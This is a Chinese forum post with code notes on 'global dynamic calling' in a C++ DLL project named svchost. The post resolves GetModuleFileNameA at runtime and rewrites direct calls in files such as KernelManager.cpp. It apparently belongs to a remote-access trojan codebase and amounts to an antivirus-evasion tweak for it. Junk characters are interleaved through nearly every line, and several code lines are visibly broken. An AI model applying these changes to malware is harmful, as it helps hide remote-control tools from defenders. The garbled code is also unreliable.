返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
' q$ K# a" h) J4 l6 gsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h: r! M) M6 s+ L- p
----------------------------------------1 y9 s8 \0 z' V( d# h. k
DTDY.h:3 K  m" O  x7 @" V. {
0 w; W7 F7 c9 W
#if _MSC_VER>1000
( a. D1 _4 V. U! Y7 o3 W. H# c#pragma once9 o  i. f7 w& ?2 S
#endif //_MSC_VER>1000
* ^# |* `  `% `5 j9 N1 v6 _! s#include<windows.h># \% A" S! l9 I, L
8 M/ a; \  s9 A" A- H
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
% s, ~8 E# m& k1 v9 ]9 ]. q( r; Jclass DTDY* w/ z- K  M! K* f- I+ B, D
{
- z5 |  X) {- g* apublic:
8 z; z  I5 i5 U0 [+ \7 MDTDY();
$ Y$ A1 z7 I5 T$ ]virtual ~DTDY();
/ a6 g7 P! X9 A( cpublic:
. O3 e/ U/ b& Z% u; v  k' ^static pGetModuleFileNameA MyGetModuleFileName;
- r& ^% p- n. K3 Kstatic BOOL FunInitiallization();' @6 b7 r& [3 j: g, r
};; X3 J# j, h! b  D
#endif) B  y7 C; l) a2 y. u
----------------------------------------
- H* j, X3 {  }4 Y9 Q" c" ~* @* \% s5 Q2 C  d) B4 h
DTDY.cpp:
3 ^* @/ l: N+ W; u5 D1 a" F6 c/ `6 |$ N! s# y$ t; B
#include "DTDY.h"$ `4 N; c+ y; e8 l1 ?# g% g
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
8 [, d$ J" ?  W0 g5 R  jDTDY:TDY()
1 I4 _: D( E. v0 l{
5 H, R, R& w. ^6 q7 @}
, Q) w1 O( b8 G- p6 w. ~- o! i' D' vDTDY::~DTDY()
: \) Y6 ~' v  w{* N% K2 a) G& F" L/ t3 H& H6 C
}: m) e  T" d4 M7 [; X4 i8 H
BOOL DTDY::FunInitiallization()) Y7 c6 L7 h" c) u* f- T/ X* y
{) m) r+ i" I* n6 P
HMODULE hModule=LoadLibrary("kernel32.dll");" l1 c( o/ P" k3 v" D* C# x& l
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
* s" N% c/ Z; M( p. vif(!MyGetModuleFileName=) return FALSE;: @/ q' d6 q  p) k& L. h1 C1 e, C

9 O( l) K4 {7 }, creturn TRUE;
3 L# h7 |  Q# s$ t/ d2 C$ t& T}/ S# ?& Z; m. i, @
----------------------------------------
+ W+ {% N; {& K5 Lsvchost.cpp:5 c- t0 Q9 B, K
3 o9 A7 E, f- Q5 Q# x- L) e  S. J
#include "DTDY.h"
9 v- {0 X4 d- X6 q! Q  `0 W  K3 i4 m/ k$ y! @6 N/ w
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)4 ~* x0 m0 i3 W0 ~
{$ ?3 K: I, z( B. C! k
switch(ul_reason_for_call)* r+ ~. _4 J, e  x1 K" j
{) _" l, Y3 _9 |% f
case DLL_PROCESS_ATTACH:4 X9 F/ r, }. P# G6 D
if(!DTDY::FunInitiallization()) return FALSE;- y7 F/ s. p9 r5 g: f7 |( h/ K

# m5 W$ k1 G. r# e- ?0 obreak;- w5 Y7 n4 F$ Z
}5 A) Q# {- Y6 r
}; U; P! h% e8 n6 e) G0 A6 O7 Q, t

( V  l7 ~$ _( ?$ y9 y
5 t; R; j( M: OGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
2 H+ Y3 V1 Y8 |9 Q) S改写为, e. s/ X6 a  p* P9 H
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
( i3 D+ T5 W; p0 X7 y----------------------------------------/ v2 b+ v/ `( J" i6 Z
KernelManager.cpp:. a6 o! v. h( N* e! E- r7 g4 G

2 u3 ?8 T; ~- C& M#include "../DTDY.h"& b2 K0 P$ \1 G* t$ X% Y8 [( {
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
& n7 f& G# K/ V; @改写为
( _8 |5 f; j/ J6 FDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& P9 H, P' U8 _/ L  q, U
----------------------------------------

返回列表